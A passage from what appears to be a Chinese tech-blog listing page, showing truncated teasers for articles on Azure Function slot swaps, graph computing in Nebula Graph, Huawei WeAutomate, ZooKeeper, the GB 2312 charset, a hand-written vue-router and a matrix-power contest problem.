    问题描述 部署Function代码先到预生产槽中,进行测试后通过交换方式,把预生产槽中的代码交换到生产槽上,因为在预生产槽中的设置参数值与生产槽有不同,但是在交换的时候,没有仔细检查.导致在交换的时候 ...

  5. 高性能图计算系统 Plato 在 Nebula Graph 中的实践

    本文首发于 Nebula Graph Community 公众号 1.图计算介绍 1.1 图数据库 vs 图计算 图数据库是面向 OLTP 场景,强调增删改查,并且一个查询往往只涉及到全图中的少量数据 ...

  6. 从华为WeAutomate数字机器人论坛,看政企领域的“政务新智理”

    从华为WeAutomate数字机器人论坛,看政企领域的"政务新智理" 从政务治理到"政务新智理",华为WeAutomate在政务领域的思考与实践 华为WeAut ...

  7. 1. zookeeper简介与应用场景

    1.1 zookeeper介绍   zookeeper是一个高可用的分布式管理与协调框架,基于ZAB算法(原子消息广播协议)的实现. 能够很好保证分布式环境中数据的一致性.正是基于这样的特性,使得zo ...

  8. GB 2312字符集:中文编码的基石

    一.GB 2312字符集的背景 GB 2312字符集是中国国家标准委员会于1980年发布的一种中文字符集,是中国大陆最早的中文字符集之一.GB 2312字符集的发布填补了中国大陆中文编码的空白,为中文 ...

  9. 第143篇:手写vue-router,实现router-view

    好家伙,   今天来手写我们的老伙计vue-router,   1.替换router 新开一个项目,并使用我们手写的router   2.大致结构 let Vue; // 保存vue的构造函数 cla ...

  10. [SCOI 2009] 迷路 (矩阵快速幂)

    [SCOI 2009]迷路 传送门 问题描述 Windy 在有向图中迷路了. 该有向图有 \({N}\) 个节点,Windy 从节点 \({1}\) 出发,他必须恰好在 \({T}\) 时刻到达节点 ...